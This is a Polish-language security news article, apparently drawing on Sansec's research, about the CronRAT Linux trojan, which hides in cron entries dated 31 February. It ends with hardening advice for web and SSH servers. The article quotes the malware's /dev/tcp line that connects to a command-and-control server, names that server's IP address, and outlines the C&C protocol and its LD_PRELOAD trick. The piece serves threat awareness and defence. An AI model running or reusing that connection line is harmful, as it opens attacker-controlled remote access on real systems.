Sprytna metoda ukrywania swojej działalności: ten malware „wykona się” 31 lutego. ..

CronRAT, jak sama nazwa wskazuje, wykorzystuje w nowatorski sposób cron, czyli „harmonogram” zadań w systemach Linux. Ten trojan RAT ukrywa się poprzez dodanie do cron kilku zadań zaplanowanych na nieistniejący dzień 31 lutego. Wygląda to w ten sposób:

52 23 31 2 3 <zadanie>

Oznacza to, że wykonanie zadania miałoby się odbyć o godzinie 23:52 w środę 31 lutego. Prawdziwy kod malware jest ukryty w nazwach poszczególnych zadań, poza tym używa kompresji i dekodowania Base64.

Autorzy CronRAT opracowali własny protokół binarny do komunikacji z serwerami C&C. Ten fragment kodu wykona się zaraz po uruchomieniu:

eval „exec 3<>/dev/tcp/796077735/$((0x1bb))” &>/dev/null || exit_with_code 5

Odpowiada on za nawiązanie połączenia HTTPS z serwerem o adresie 47.115.46.167, który generuje „banner file”, tj. specyficzny plik Dropbear SSH zawierający wiadomość pojawiającą się przed połączeniem klientów. Kiedy połączenie z serwerem C&C jest aktywne, malware wysyła hasło do SSH, wynik polecenia cio i – prawdopodobnie –  identyfikator zainfekowanego klienta. Następnie czeka na ewentualne polecenie „usunięcia się” z systemu. Otrzymuje także polecenia do wykonania i dołączoną złośliwą bibliotekę. Przesłane polecenia są wykonywane z zastosowaniem LD_PRELOAD, które wskazuje na tę bibliotekę, co oznacza, że zostanie ona załadowana jako pierwsza. Działanie poleceń jest monitorowane przez 5 sekund, po czym status wykonania zostaje przesłany do serwera C&C.

Atakujący może więc wykonać dowolny kod na zainfekowanej stacji. Badacze z firmy Sansec, którzy odkryli zagrożenie, twierdzą, że dotyczyło ono kilku serwerów hostujących sklepy internetowe:

Sansec found CronRAT to be present on multiple online stores, among them a nation’s largest outlet.

W świecie Linuxa jest wiele różnych porad utrudniających dostęp do systemu. Nie wiemy niestety, w jaki sposób CronRAT został „dostarczony”. Przede wszystkim nie powinniśmy na co dzień pracować jako root. W wypadku aplikacji internetowych świetnym rozwiązaniem są dedykowane PHP pools; każda powinna używać jedynie swojego gniazda. Pozwala to również na wykonywanie kodu aplikacji np. w katalogu domowym specjalnego użytkownika, zamiast domyślnego /var/www/html, co już ogranicza dostęp. Warto skonfigurować serwer WWW, aby nie wysyłał w nagłówkach HTTP identyfikujących go informacji.

Dostęp do SSH powinien odbywać się z wykorzystaniem kluczy zamiast nazwy użytkownika i hasła. Możemy w sshd_config zablokować dostęp dla użytkownika aplikacji, np. w ten skuteczny sposób:

Match User www

ChrootDirectory /home/app/www

Nie ma większego sensu w zmienianiu domyślnego portu 22 na inny, bo Nmap z powodzeniem może go wykryć. Warto natomiast rozważyć ograniczenie możliwości połączenia tylko do określonych adresów IP. Są pewne problemy z chroot SFTP (dostęp jedynie do konkretnego katalogu i jego podkatalogów – zamiast całego systemu plików); nie zawsze to działa, dlatego osobiście polecam wystawić szyfrowany FTP, w którym chroot ustawia się łatwiej. Oczywiście w wypadku wszystkich usług należy stosować silne hasła.

–Michał Giza